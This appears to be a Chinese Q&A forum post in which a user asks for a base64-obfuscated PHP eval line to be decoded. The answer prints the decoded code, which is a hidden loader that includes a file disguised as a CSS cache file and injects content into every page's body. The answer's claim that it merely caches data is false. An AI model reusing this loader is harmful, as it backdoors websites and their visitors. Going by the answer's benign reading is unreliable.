麻烦这段eval(base64_decode帮忙解密，顺便看下是什么程序

Question

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS96b29sZ29sZi9wdWJsaWNfaHRtbC9lZC1oYXJkeS1vbmxpbmUuY29tL3BocFRodW1iL2NhY2hlLzgvODQvODRkLzg0ZDIvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL3pvb2xnb2xmL3B1YmxpY19odG1sL2VkLWhhcmR5LW9ubGluZS5jb20vcGhwVGh1bWIvY2FjaGUvOC84NC84NGQvODRkMi9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

Answer 1

以下是解密的代码
<?

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/zoolgolf/public_html/ed-hardy-online.com/phpThumb/cache/8/84/84d/84d2/style.css.php')){include_once('/home/zoolgolf/public_html/ed-hardy-online.com/phpThumb/cache/8/84/84d/84d2/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}
?>

至于功能,没有相关函数无法判断,只是感觉是使用php做了数据缓存